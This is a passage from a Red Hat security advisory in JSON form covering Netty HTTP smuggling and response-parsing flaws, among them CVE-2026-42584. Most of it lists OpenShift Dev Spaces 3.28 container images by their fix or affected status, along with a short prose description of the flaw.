"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers"
},
{
"cve": "CVE-2026-42584",
"cwe": {
"id": "CWE-444",
"name": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)"
},
"discovery_date": "2026-05-13T19:01:51.846351+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477224"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty, an asynchronous, event-driven network application framework. A remote attacker could exploit this vulnerability by sending a specific sequence of HTTP responses (103, followed by a 200 with a GET body, then another 200 for a HEAD request) when the client pipelines GET then HEAD requests. This can cause the HttpClientCodec to incorrectly pair responses, leading to subsequent HTTP responses being parsed from the wrong offset. This issue may result in information disclosure or other data integrity problems due to misinterpretation of network traffic.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Important: A flaw in Netty\u0027s HttpClientCodec allows a remote attacker to cause data confusion. By sending a specially crafted sequence of HTTP responses, an attacker can cause subsequent HTTP responses to be parsed incorrectly, potentially leading to information disclosure or data integrity issues in applications utilizing Netty for HTTP client operations. This vulnerability affects various Red Hat products that bundle Netty, including Red Hat AMQ, Enterprise Application Platform, Red Hat Build of Quarkus, and Red Hat Build of Keycloak.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x"
],
"known_not_affected": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
